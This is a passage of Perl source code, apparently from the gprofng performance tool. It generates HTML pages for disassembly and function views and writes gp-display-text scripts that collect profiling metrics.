                                                     $g_html_color_scheme{&quot;background_color_lukewarm&quot;});
                                  last;
                                }
                            }
                        }
                    }
                }

##  my @max_metric_values = ();
              push (@modified_html, $modified_line);
              if ($add_new_line_after)
                {
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;add_new_line_after = $add_new_line_after pushed $html_new_line&quot;);
                  push (@modified_html, $html_new_line);
                }

            }
          else
            {
              my $msg = &quot;parsing line $input_line&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
      elsif ( $input_line =~ /$src_regex/ )
        {
          if ( defined ($1) and defined ($2) )
            {
####### BUG?
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;found a source code line: $input_line&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;\$1 = $1&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;\$2 = $2&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;\$3 = $3&quot;);
              my $blanks        = $1;
              my $src_line      = $2;
              my $src_code      = $3;

#------------------------------------------------------------------------------
# We need to replace the &quot;&lt;&quot; symbol in the code by &quot;&amp;lt;&quot;.
#------------------------------------------------------------------------------
              $src_code =~ s/$g_less_than_regex/$g_html_less_than_regex/g;

              my $target = &quot;&lt;a name=&#039;line_&quot;.$src_line.&quot;&#039;&gt;&quot;.$src_line.&quot;.&lt;/a&gt;&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;src target = $target $src_code&quot;);

              my $modified_line = $blanks . $target . $src_code;
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;modified_line = $modified_line&quot;);
              push (@modified_html, $modified_line);
            }
          else
            {
              my $msg = &quot;parsing line $input_line&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
      elsif ( $input_line =~ /$function_regex/ )
        {
          my $html_name;
          if (defined ($1) and defined ($2))
            {
              $func_name_in_dis_file = $2;
              my $spaces = $1;
              my $boldface = $TRUE;
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;function_name = $2&quot;);
              my $function_line       = &quot;&amp;lt;Function: &quot; . $func_name_in_dis_file . &quot;&gt;&quot;;

##### HACK

              if ($func_name_in_dis_file eq $target_function)
                {
                  my $color_function_name = color_string (
                                 $function_line,
                                 $boldface,
                                 $g_html_color_scheme{&quot;target_function_name&quot;});
                  my $label = &quot;&lt;a id=\&quot;&quot; . $g_function_tag_id{$target_function} . &quot;\&quot;&gt;&lt;/a&gt;&quot;;
                  $html_name = $label . $spaces . &quot;&lt;i&gt;&quot; . $color_function_name . &quot;&lt;/i&gt;&quot;;
                }
              else
                {
                  my $color_function_name = color_string (
                             $function_line,
                             $boldface,
                             $g_html_color_scheme{&quot;non_target_function_name&quot;});
                  $html_name = &quot;&lt;i&gt;&quot; . $spaces . $color_function_name . &quot;&lt;/i&gt;&quot;;
                }
              push (@modified_html, $html_name);
            }
          else
            {
              my $msg = &quot;parsing line $input_line&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
    }

#------------------------------------------------------------------------------
# Add an extra line with diagnostics.
#
# TBD: The same is done in process_source but should be done only once.
#------------------------------------------------------------------------------
  if ($hp_value &gt; 0)
    {
      my $rounded_percentage = sprintf (&quot;%.1f&quot;, $hp_value);
      $threshold_line = &quot;&lt;i&gt;The setting for the highlight percentage&quot;;
      $threshold_line .= &quot; (--highlight-percentage) option:&quot;;
      $threshold_line .= &quot; &quot; . $rounded_percentage . &quot; (%)&lt;/i&gt;&quot;;
    }
  else
    {
      $threshold_line  = &quot;&lt;i&gt;The highlight percentage feature has not been&quot;;
      $threshold_line .= &quot; enabled&lt;/i&gt;&quot;;
    }

  $html_home = ${ generate_home_link (&quot;left&quot;) };
  $html_end  = ${ terminate_html_document () };

  push (@modified_html, &quot;&lt;/pre&gt;&quot;);
  push (@modified_html, $html_new_line);
  push (@modified_html, $threshold_line);
  push (@modified_html, $html_home);
  push (@modified_html, $html_new_line);
  push (@modified_html, $g_html_credits_line);
  push (@modified_html, $html_end);

  for my $i (0 .. $#modified_html)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;[$i] -&gt; $modified_html[$i]&quot;);
    }

  for my $i (0 .. $#modified_html)
    {
      print HTML_OUTPUT &quot;$modified_html[$i]&quot; . &quot;\n&quot;;
    }

  close (HTML_OUTPUT);
  close (INPUT_DISASSEMBLY);

  gp_message (&quot;debug&quot;, $subr_name, &quot;output is in file $html_dis_out&quot;);
  gp_message (&quot;debug&quot;, $subr_name ,&quot;completed processing disassembly&quot;);

  undef %branch_target;
  undef %extended_branch_target;
  undef %inverse_branch_target;

  return (\@source_line, \@metric);

} #-- End of subroutine generate_dis_html

#------------------------------------------------------------------------------
# Generate all the function level information.
#------------------------------------------------------------------------------
sub generate_function_level_info
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref, $call_metrics, $summary_metrics, $input_string,
      $sort_fields_ref) = @_;

  my @exp_dir_list = @{ $exp_dir_list_ref };
  my @sort_fields  = @{ $sort_fields_ref };

  my $expr_name;
  my $first_metric;
  my $gp_display_text_cmd;
  my $gp_functions_cmd;
  my $ignore_value;
  my $msg;
  my $script_pc_metrics;

  my $outputdir      = append_forward_slash ($input_string);

  my $script_file_PC = $outputdir.&quot;gp-script-PC&quot;;
  my $result_file    = $outputdir.&quot;gp-out-PC.err&quot;;
  my $gp_error_file  = $outputdir.&quot;gp-out-PC.err&quot;;
  my $func_limit     = $g_user_settings{func_limit}{current_value};

#------------------------------------------------------------------------------
# The number of entries in the Function Overview includes &lt;Total&gt;, but that is
# not a concern to the user and we add &quot;1&quot; to compensate for this.
#------------------------------------------------------------------------------
  $func_limit += 1;

  gp_message (&quot;debug&quot;, $subr_name, &quot;increased the local value for func_limit = $func_limit&quot;);

  $expr_name = join (&quot; &quot;, @exp_dir_list);

  gp_message (&quot;debug&quot;, $subr_name, &quot;expr_name = $expr_name&quot;);

  for my $i (0 .. $#sort_fields)
    {
       gp_message (&quot;debug&quot;, $subr_name, &quot;sort_fields[$i] = $sort_fields[$i]&quot;);
    }

# Ruud $count = 0;

  gp_message (&quot;debug&quot;, $subr_name, &quot;calling $GP_DISPLAY_TEXT to get function information files&quot;);

  open (SCRIPT_PC, &quot;&gt;&quot;, $script_file_PC)
    or die (&quot;$subr_name - unable to open script file $script_file_PC for writing: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $script_file_PC for writing&quot;);

#------------------------------------------------------------------------------
# Get the list of functions.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Get the first metric.
#------------------------------------------------------------------------------
  $summary_metrics   =~ /^([^:]+)/;
  $first_metric      = $1;
  $g_first_metric    = $1;
  $script_pc_metrics = &quot;address:$summary_metrics&quot;;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$func_limit&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$summary_metrics&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$first_metric&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$script_pc_metrics&quot;);

# Temporarily disabled   print SCRIPT_PC &quot;# limit $func_limit\n&quot;;
# Temporarily disabled  print SCRIPT_PC &quot;limit $func_limit\n&quot;;
  print SCRIPT_PC &quot;# thread_select all\n&quot;;
  print SCRIPT_PC &quot;thread_select all\n&quot;;

#------------------------------------------------------------------------------
# Empty header.
# TBD: Is still needed? Also, add the header command.
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;header\n&quot;;
  print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;header\n&quot;;

#------------------------------------------------------------------------------
# Else the output from the next line goes to last sort.func
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;gp-metrics-functions-PC\n&quot;;
  print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;gp-metrics-functions-PC\n&quot;;
  print SCRIPT_PC &quot;# metrics $script_pc_metrics\n&quot;;
  print SCRIPT_PC &quot;metrics $script_pc_metrics\n&quot;;
#------------------------------------------------------------------------------
# Not really sorted
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;functions.sort.func-PC\n&quot;;
  print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;functions.sort.func-PC\n&quot;;
  print SCRIPT_PC &quot;# functions\n&quot;;
  print SCRIPT_PC &quot;functions\n&quot;;

  print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;functions.sort.func-PC2\n&quot;;
  print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;functions.sort.func-PC2\n&quot;;
  print SCRIPT_PC &quot;# metrics address:name:$summary_metrics\n&quot;;
  print SCRIPT_PC &quot;metrics address:name:$summary_metrics\n&quot;;
  print SCRIPT_PC &quot;# sort $first_metric\n&quot;;
  print SCRIPT_PC &quot;sort $first_metric\n&quot;;
  print SCRIPT_PC &quot;# functions\n&quot;;
  print SCRIPT_PC &quot;functions\n&quot;;
#------------------------------------------------------------------------------
# Go through all the possible metrics and sort by each of them.
#------------------------------------------------------------------------------
  for my $field (@sort_fields)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;sort_fields field = $field&quot;);
#------------------------------------------------------------------------------
# Else the output from the next line goes to last sort.func
#------------------------------------------------------------------------------
      print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;gp-metrics-&quot;.$field.&quot;-PC\n&quot;;
      print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;gp-metrics-&quot;.$field.&quot;-PC\n&quot;;
      print SCRIPT_PC &quot;# metrics $script_pc_metrics\n&quot;;
      print SCRIPT_PC &quot;metrics $script_pc_metrics\n&quot;;
      print SCRIPT_PC &quot;# outfile $outputdir&quot;.$field.&quot;.sort.func-PC\n&quot;;
      print SCRIPT_PC &quot;outfile $outputdir&quot;.$field.&quot;.sort.func-PC\n&quot;;
      print SCRIPT_PC &quot;# sort $field\n&quot;;
      print SCRIPT_PC &quot;sort $field\n&quot;;
      print SCRIPT_PC &quot;# functions\n&quot;;
      print SCRIPT_PC &quot;functions\n&quot;;

      print SCRIPT_PC &quot;# metrics address:name:$summary_metrics\n&quot;;
      print SCRIPT_PC &quot;metrics address:name:$summary_metrics\n&quot;;
      print SCRIPT_PC &quot;# outfile $outputdir&quot;.$field.&quot;.sort.func-PC2\n&quot;;
      print SCRIPT_PC &quot;outfile $outputdir&quot;.$field.&quot;.sort.func-PC2\n&quot;;
      print SCRIPT_PC &quot;# sort $field\n&quot;;
      print SCRIPT_PC &quot;sort $field\n&quot;;
      print SCRIPT_PC &quot;# functions\n&quot;;
      print SCRIPT_PC &quot;functions\n&quot;;
    }

#------------------------------------------------------------------------------
# Get caller-callee list
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# outfile &quot; . $outputdir.&quot;caller-callee-PC2\n&quot;;
  print SCRIPT_PC &quot;outfile &quot; . $outputdir.&quot;caller-callee-PC2\n&quot;;
  print SCRIPT_PC &quot;# metrics address:name:$summary_metrics\n&quot;;
  print SCRIPT_PC &quot;metrics address:name:$summary_metrics\n&quot;;
  print SCRIPT_PC &quot;# callers-callees\n&quot;;
  print SCRIPT_PC &quot;callers-callees\n&quot;;
#------------------------------------------------------------------------------
# Else the output from the next line goes to last sort.func
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;gp-metrics-calls-PC\n&quot;;
  print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;gp-metrics-calls-PC\n&quot;;
  $script_pc_metrics = &quot;address:$call_metrics&quot;;
  print SCRIPT_PC &quot;# metrics $script_pc_metrics\n&quot;;
  print SCRIPT_PC &quot;metrics $script_pc_metrics\n&quot;;

#------------------------------------------------------------------------------
# Not really sorted
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;calls.sort.func-PC\n&quot;;
  print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;calls.sort.func-PC\n&quot;;

#------------------------------------------------------------------------------
# Get caller-callee list
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# callers-callees\n&quot;;
  print SCRIPT_PC &quot;callers-callees\n&quot;;

#------------------------------------------------------------------------------
# Else the output from the next line goes to last sort.func
#------------------------------------------------------------------------------
  print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;gp-metrics-calltree-PC\n&quot;;
  print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;gp-metrics-calltree-PC\n&quot;;
  print SCRIPT_PC &quot;# metrics $script_pc_metrics\n&quot;;
  print SCRIPT_PC &quot;metrics $script_pc_metrics\n&quot;;

  if ($g_user_settings{&quot;calltree&quot;}{&quot;current_value&quot;} eq &quot;on&quot;)
    {
      gp_message (&quot;verbose&quot;, $subr_name, &quot;Generate the file with the calltree information&quot;);
#------------------------------------------------------------------------------
# Get calltree list
#------------------------------------------------------------------------------
      print SCRIPT_PC &quot;# outfile $outputdir&quot;.&quot;calltree.sort.func-PC\n&quot;;
      print SCRIPT_PC &quot;outfile $outputdir&quot;.&quot;calltree.sort.func-PC\n&quot;;
      print SCRIPT_PC &quot;# calltree\n&quot;;
      print SCRIPT_PC &quot;calltree\n&quot;;
    }

#------------------------------------------------------------------------------
# Get the default set of metrics
#------------------------------------------------------------------------------
  my $full_metrics_ref;
  my $all_metrics;
  my $full_function_view = $outputdir . &quot;functions.full&quot;;

  $full_metrics_ref = get_all_the_metrics (\$expr_name, \$outputdir);

  $all_metrics  = &quot;address:name:&quot;;
  $all_metrics .= ${$full_metrics_ref};
  gp_message (&quot;debug&quot;, $subr_name, &quot;all_metrics = $all_metrics&quot;);
#------------------------------------------------------------------------------
# Get the name, address, and full overview of all metrics for all functions
#------------------------------------------------------------------------------
   print SCRIPT_PC &quot;# limit 0\n&quot;;
   print SCRIPT_PC &quot;limit 0\n&quot;;
   print SCRIPT_PC &quot;# metrics $all_metrics\n&quot;;
   print SCRIPT_PC &quot;metrics $all_metrics\n&quot;;
   print SCRIPT_PC &quot;# thread_select all\n&quot;;
   print SCRIPT_PC &quot;thread_select all\n&quot;;
   print SCRIPT_PC &quot;# sort default\n&quot;;
   print SCRIPT_PC &quot;sort default\n&quot;;
   print SCRIPT_PC &quot;# outfile $full_function_view\n&quot;;
   print SCRIPT_PC &quot;outfile $full_function_view\n&quot;;
   print SCRIPT_PC &quot;# functions\n&quot;;
   print SCRIPT_PC &quot;functions\n&quot;;

  close (SCRIPT_PC);

  $result_file    = $outputdir.&quot;gp-out-PC.err&quot;;
  $gp_error_file  = $outputdir.$g_gp_error_logfile;

  $gp_functions_cmd  = &quot;$GP_DISPLAY_TEXT -limit $func_limit &quot;;
  $gp_functions_cmd .= &quot;-viewmode machine -compare off &quot;;
  $gp_functions_cmd .= &quot;-script $script_file_PC $expr_name&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;calling $GP_DISPLAY_TEXT to get function level information&quot;);

  $gp_display_text_cmd = &quot;$gp_functions_cmd 1&gt; $result_file 2&gt;&gt; $gp_error_file&quot;;

  gp_message (&quot;debugXL&quot;, $subr_name,&quot;cmd = $gp_display_text_cmd&quot;);

  my ($error_code, $cmd_output) = execute_system_cmd ($gp_display_text_cmd);

  if ($error_code != 0)
    {
      $ignore_value = msg_display_text_failure ($gp_display_text_cmd,
                                                $error_code,
                                                $gp_error_file);
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

#------------------------------------------------------------------------------
# Parse the full function view and store the data.
#------------------------------------------------------------------------------
  my @input_data = ();
  my $empty_line_regex = &#039;^\s*$&#039;;

##  my $full_function_view = $outputdir . &quot;functions.full&quot;;

  open (ALL_FUNC_DATA, &quot;&lt;&quot;, $full_function_view)
    or die (&quot;$subr_name - unable to open output file $full_function_view for reading &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $full_function_view for reading&quot;);

  chomp (@input_data = &lt;ALL_FUNC_DATA&gt;);

  my $start_scanning = $FALSE;
  for (my $line = 0; $line &lt;= $#input_data; $line++)
    {
      my $input_line = $input_data[$line];

      $input_line =~ s/ --  no functions found//;
      $input_data[$line] =~ s/ --  no functions found//;

      $msg = &quot;line = &quot; . $line . &quot; input_line = &quot; . $input_line;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#      if ($input_line =~ /^&lt;Total&gt;\s+.*/)
      if ($input_line =~ /\s*(\d+:0x[a-fA-F0-9]+)\s+(\S+)\s+(.*)/)
        {
          $start_scanning = $TRUE;
        }
      elsif ($input_line =~ /$empty_line_regex/)
        {
          $start_scanning = $FALSE;
        }

      if ($start_scanning)
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$line: $input_data[$line]&quot;);

          push (@g_full_function_view_table, $input_data[$line]);

          my $hex_address;
          my $full_hex_address = $1;
          my $routine = $2;
          my $all_metrics = $3;
          if ($full_hex_address =~ /(\d+):0x(\S+)/)
            {
              $hex_address = &quot;0x&quot; . $2;
            }
          $g_function_view_all{$routine}{&quot;hex_address&quot;} = $hex_address;
          $g_function_view_all{$routine}{&quot;all_metrics&quot;} = $all_metrics;
        }
    }

  for my $i (keys %g_function_view_all)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;key = $i $g_function_view_all{$i}{&#039;hex_address&#039;} $g_function_view_all{$i}{&#039;all_metrics&#039;}&quot;);
    }

  for my $i (keys @g_full_function_view_table)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;g_full_function_view_table[$i] = $i $g_full_function_view_table[$i]&quot;);
    }

  return ($script_pc_metrics);

} #-- End of subroutine generate_function_level_info

#------------------------------------------------------------------------------
# Generate all the files needed for the function view.
#------------------------------------------------------------------------------
sub generate_function_view
{
  my $subr_name = get_my_name ();

  my ($directory_name_ref, $summary_metrics_ref, $number_of_metrics_ref,
      $function_info_ref, $function_view_structure_ref, $function_address_info_ref,
      $sort_fields_ref, $exp_dir_list_ref, $addressobjtextm_ref) = @_;

  my $directory_name          = ${ $directory_name_ref };
  my @function_info           = @{ $function_info_ref };
  my %function_view_structure = %{ $function_view_structure_ref };
  my $summary_metrics         = ${ $summary_metrics_ref };
  my $number_of_metrics       = ${ $number_of_metrics_ref };
  my %function_address_info   = %{ $function_address_info_ref };
  my @sort_fields             = @{ $sort_fields_ref };
  my @exp_dir_list            = @{ $exp_dir_list_ref };
  my %addressobjtextm         = %{ $addressobjtextm_ref };

  my @abs_path_exp_dirs = ();
  my @experiment_directories;

  my $target_function;
  my $html_line;
  my $ftag;
  my $routine_length;
  my %html_source_functions = ();

  my $href_link;
  my $infile;
  my $input_experiments;
  my $keep_value;
  my $loadobj;
  my $address_field;
  my $address_offset;
  my $msg;
  my $exe;
  my $extra_field;
  my $new_target_function;
  my $file_title;
  my $html_output_file;
  my $html_function_view;
  my $overview_file;
  my $exp_name;
  my $exp_type;
  my $html_header;
  my $routine;
  my $length_header;
  my $length_metrics;
  my $full_index_line;
  my $acknowledgement;
  my @full_function_view_line = ();
  my $spaces;
  my $size_text;
  my $position_text;
  my $html_first_metric_file;
  my $html_new_line = &quot;&lt;br&gt;&quot;;
  my $html_acknowledgement;
  my $html_end;
  my $html_home;
  my $page_title;
  my $html_title_header;

  my $outputdir         = append_forward_slash ($directory_name);
  my $LANG              = $g_locale_settings{&quot;LANG&quot;};
  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};

  $input_experiments = join (&quot;, &quot;, @exp_dir_list);

  for my $i (0 .. $#exp_dir_list)
    {
      my $dir = get_basename ($exp_dir_list[$i]);
      push @abs_path_exp_dirs, $dir;
    }
  $input_experiments = join (&quot;, &quot;, @abs_path_exp_dirs);

  gp_message (&quot;debug&quot;, $subr_name, &quot;input_experiments = $input_experiments&quot;);

#------------------------------------------------------------------------------
# TBD: This should be done only once and much earlier.
#------------------------------------------------------------------------------
  @experiment_directories = split (&quot;,&quot;, $input_experiments);

#------------------------------------------------------------------------------
# For every function in the function overview, set up an html structure with
# the various hyperlinks.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Core loop that generates an HTML line for each function.
#------------------------------------------------------------------------------
  my $top_of_table = $FALSE;
  for my $i (0 .. $#function_info)
    {
      if (defined ($function_info[$i]{&quot;alt_name&quot;}))
        {
          $target_function = $function_info[$i]{&quot;alt_name&quot;};
        }
      else
        {
          my $msg = &quot;function_info[$i]{\&quot;alt_name\&quot;} is not defined&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }

      $html_source_functions{$target_function} = $function_info[$i]{&quot;html function block&quot;};
    }

  for my $i (sort keys %html_source_functions)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;html_source_functions{$i} = $html_source_functions{$i}&quot;);
    }

  $file_title = &quot;Function view for experiments &quot; . $input_experiments;

#------------------------------------------------------------------------------
# Example input file:

# Current metrics: address:name:e.totalcpu:e.cycles:e+insts:e+llm
# Current Sort Metric: Exclusive Total CPU Time ( e.totalcpu )
# Current Sort Metric: Exclusive Total CPU Time ( e.totalcpu )
# Functions sorted by metric: Exclusive Total CPU Time
#
# PC Addr.        Name              Excl.     Excl. CPU  Excl.         Excl.
#                                   Total     Cycles     Instructions  Last-Level
#                                   CPU sec.   sec.      Executed      Cache Misses
#  1:0x00000000   &lt;Total&gt;           3.502     4.005      15396819700   24024250
#  2:0x000021ae   mxv_core          3.342     3.865      14500538981   23824045
#  6:0x0003af50   erand48_r         0.080     0.084        768240570          0
#  2:0x00001f7b   init_data         0.040     0.028         64020043     200205
#  6:0x0003b160   __drand48_iterate 0.020     0.                   0          0
#  ...
#------------------------------------------------------------------------------

  for my $metric (@sort_fields)
    {
      $overview_file = $outputdir . $metric . &quot;.sort.func-PC2&quot;;

      $exp_type = $metric;

      if ($metric eq &quot;functions&quot;)
        {
          $html_function_view .= $g_html_base_file_name{&quot;function_view&quot;} . &quot;.html&quot;;
        }
      else
        {
          $html_function_view = $g_html_base_file_name{&quot;function_view&quot;} . &quot;.&quot; . $metric . &quot;.html&quot;;
        }
#------------------------------------------------------------------------------
# The default function view is based upon the first metric in the list.  We use
# this file in the index.html file.
#------------------------------------------------------------------------------
      if ($metric eq $g_first_metric)
        {
          $html_first_metric_file = $html_function_view;
          my $txt = &quot;g_first_metric = $g_first_metric &quot;;
          $txt   .= &quot;html_first_metric_file = $html_first_metric_file&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $txt);
        }

      $html_output_file = $outputdir . $html_function_view;

      open (FUNCTION_VIEW, &quot;&gt;&quot;, $html_output_file)
        or die (&quot;$subr_name - unable to open file $html_output_file for writing - &#039;$!&#039;&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $html_output_file for writing&quot;);

      $html_home       = ${ generate_home_link (&quot;right&quot;) };
      $html_header     = ${ create_html_header (\$file_title) };

      $page_title    = &quot;Function View&quot;;
      $size_text     = &quot;h2&quot;;
      $position_text = &quot;center&quot;;
      $html_title_header = ${ generate_a_header (\$page_title, \$size_text, \$position_text) };

      print FUNCTION_VIEW $html_header;
      print FUNCTION_VIEW $html_home;
      print FUNCTION_VIEW $html_title_header;
      print FUNCTION_VIEW &quot;$_&quot; for @g_html_experiment_stats;
      print FUNCTION_VIEW $html_new_line . &quot;\n&quot;;

      my $function_view_structure_ref = process_function_overview (
                                          \$metric,
                                          \$exp_type,
                                          \$summary_metrics,
                                          \$number_of_metrics,
                                          \@function_info,
                                          \%function_view_structure,
                                          \$overview_file);

      my %function_view_structure = %{ $function_view_structure_ref };

#------------------------------------------------------------------------------
# Core part: extract the true function name and find the html code for it.
#------------------------------------------------------------------------------
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;the final table&quot;);

      print FUNCTION_VIEW &quot;&lt;pre&gt;\n&quot;;
      print FUNCTION_VIEW &quot;$_\n&quot; for @{ $function_view_structure{&quot;header&quot;} };

      my $max_length_header  = $function_view_structure{&quot;max header length&quot;};
      my $max_length_metrics = $function_view_structure{&quot;max metrics length&quot;};

#------------------------------------------------------------------------------
# Add 4 more spaces for the distance to the function names.  Purely cosmetic.
#------------------------------------------------------------------------------
      my $pad    = max ($max_length_metrics, $max_length_header) + 4;
      my $spaces = &quot;&quot;;
      for my $i (1 .. $pad)
        {
          $spaces .= &quot;&amp;nbsp;&quot;;
        }

#------------------------------------------------------------------------------
# Add extra space for the /blank/*/ marker!
#------------------------------------------------------------------------------
      $spaces .= &quot;&amp;nbsp;&quot;;
      my $func_header = $spaces . $function_view_structure{&quot;table name&quot;};
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;func_header = &quot; . $func_header);

      print FUNCTION_VIEW $spaces . &quot;&lt;b&gt;&quot; .
                          $function_view_structure{&quot;table name&quot;} .
                          &quot;&lt;/b&gt;&quot; . $html_new_line . &quot;\n&quot;;

#------------------------------------------------------------------------------
# If the header is longer than the metrics, add spaces to padd the difference.
# Also add the same 4 spaces between the metric values and the function name.
#------------------------------------------------------------------------------
      $pad = 0;
      if ($max_length_header &gt; $max_length_metrics)
        {
          $pad = $max_length_header - $max_length_metrics;
        }
      $pad += 4;
      $spaces = &quot;&quot;;
      for my $i (1 .. $pad)
        {
          $spaces .= &quot;&amp;nbsp;&quot;;
        }

#------------------------------------------------------------------------------
# This is where it literally all comes together.  The metrics and function
# parts are combined.
#------------------------------------------------------------------------------
##      for my $i (keys @{ $function_view_structure{&quot;function table&quot;} })
      for my $i (0 .. $#{ $function_view_structure{&quot;function table&quot;} })
        {
          my $p1 = $function_view_structure{&quot;metrics part&quot;}[$i];
          my $p2 = $function_view_structure{&quot;function table&quot;}[$i];

          $full_index_line = $p1 . $spaces . $p2;

          push (@full_function_view_line, $full_index_line);
        }

      print FUNCTION_VIEW &quot;$_\n&quot; for @full_function_view_line;

#------------------------------------------------------------------------------
# Clear the array before filling it up again.
#------------------------------------------------------------------------------
      @full_function_view_line = ();

#------------------------------------------------------------------------------
# Get the acknowledgement, return to main link, and final html statements.
#------------------------------------------------------------------------------
      $html_home            = ${ generate_home_link (&quot;left&quot;) };
      $html_acknowledgement = ${ create_html_credits () };
      $html_end             = ${ terminate_html_document () };

      print FUNCTION_VIEW &quot;&lt;/pre&gt;\n&quot;;
      print FUNCTION_VIEW $html_home;
      print FUNCTION_VIEW $html_new_line . &quot;\n&quot;;
      print FUNCTION_VIEW $html_acknowledgement;
      print FUNCTION_VIEW $html_end;

      close (FUNCTION_VIEW);
    }

  return (\$html_first_metric_file);

} #-- End of subroutine generate_function_view

#------------------------------------------------------------------------------
# Generate an html line that links back to index.html.  The text can either
# be positioned to the left or to the right.
#------------------------------------------------------------------------------
sub generate_home_link
{
  my $subr_name = get_my_name ();

  my ($which_side) = @_;

  my $html_home_line;

  if (($which_side ne &quot;left&quot;) and ($which_side ne &quot;right&quot;))
    {
      my $msg = &quot;which_side = $which_side not supported&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

  $html_home_line .= &quot;&lt;div class=\&quot;&quot; . $which_side . &quot;\&quot;&gt;&quot;;
  $html_home_line .= &quot;&lt;br&gt;&lt;a href=&#039;&quot; . $g_html_base_file_name{&quot;index&quot;};
  $html_home_line .= &quot;.html&#039; style=&#039;background-color:&quot;;
  $html_home_line .= $g_html_color_scheme{&quot;index&quot;};
  $html_home_line .= &quot;&#039;&gt;&lt;b&gt;Return to main view&lt;/b&gt;&lt;/a&gt;&quot;;
  $html_home_line .= &quot;&lt;/div&gt;&quot;;

  return (\$html_home_line);

} #-- End of subroutine generate_home_link

#------------------------------------------------------------------------------
# Generate a block of html for this function block.
#------------------------------------------------------------------------------
sub generate_html_function_blocks
{
  my $subr_name = get_my_name ();

  my (
  $index_start_ref,
  $index_end_ref,
  $hex_addresses_ref,
  $the_metrics_ref,
  $length_first_metric_ref,
  $special_marker_ref,
  $the_function_name_ref,
  $separator_ref,
  $number_of_metrics_ref,
  $data_function_block_ref,
  $function_info_ref,
  $function_view_structure_ref) = @_;

  my $index_start = ${ $index_start_ref };
  my $index_end   = ${ $index_end_ref };
  my @hex_addresses = @{ $hex_addresses_ref };
  my @the_metrics     = @{ $the_metrics_ref };
  my @length_first_metric = @{ $length_first_metric_ref };
  my @special_marker = @{ $special_marker_ref };
  my @the_function_name = @{ $the_function_name_ref};

  my $separator               = ${ $separator_ref };
  my $number_of_metrics       = ${ $number_of_metrics_ref };
  my $data_function_block     = ${ $data_function_block_ref };
  my @function_info           = @{ $function_info_ref };
  my %function_view_structure = %{ $function_view_structure_ref };

  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};

  my @html_block_prologue = ();
  my @html_code_function_block = ();
  my @function_lines           = ();
  my @fields = ();
  my @address_field = ();
  my @metric_values = ();
  my @function_names = ();
  my @final_function_names = ();
  my @marker = ();
  my @split_number = ();
  my @function_tags = ();

  my $all_metrics;
  my $current_function_name;
  my $no_of_fields;
  my $name_regex;
  my $full_hex_address;
  my $hex_address;
  my $target_function;
  my $marker_function;
  my $routine;
  my $routine_length;
  my $metrics_length;
  my $max_metrics_length = 0;
  my $modified_line;
  my $string_length;
  my $addr_offset;
  my $current_address;
  my $found_a_match;
  my $ref_index;
  my $alt_name;
  my $length_first_field;
  my $gap;
  my $ipad;
  my $html_line;
  my $target_tag;
  my $tag_for_header;
  my $href_file;
  my $found_alt_name;
  my $name_in_header;
  my $create_hyperlinks;

  state $first_call = $TRUE;
  state $reference_length;

#------------------------------------------------------------------------------
# If the length of the first metric is less than the maximum over all first
# metrics, add spaces to the left to ensure correct alignment.
#------------------------------------------------------------------------------
  for my $k ($index_start .. $index_end)
    {
      my $pad = $g_max_length_first_metric - $length_first_metric[$k];
      if ($pad ge 1)
        {
          my $spaces = &quot;&quot;;
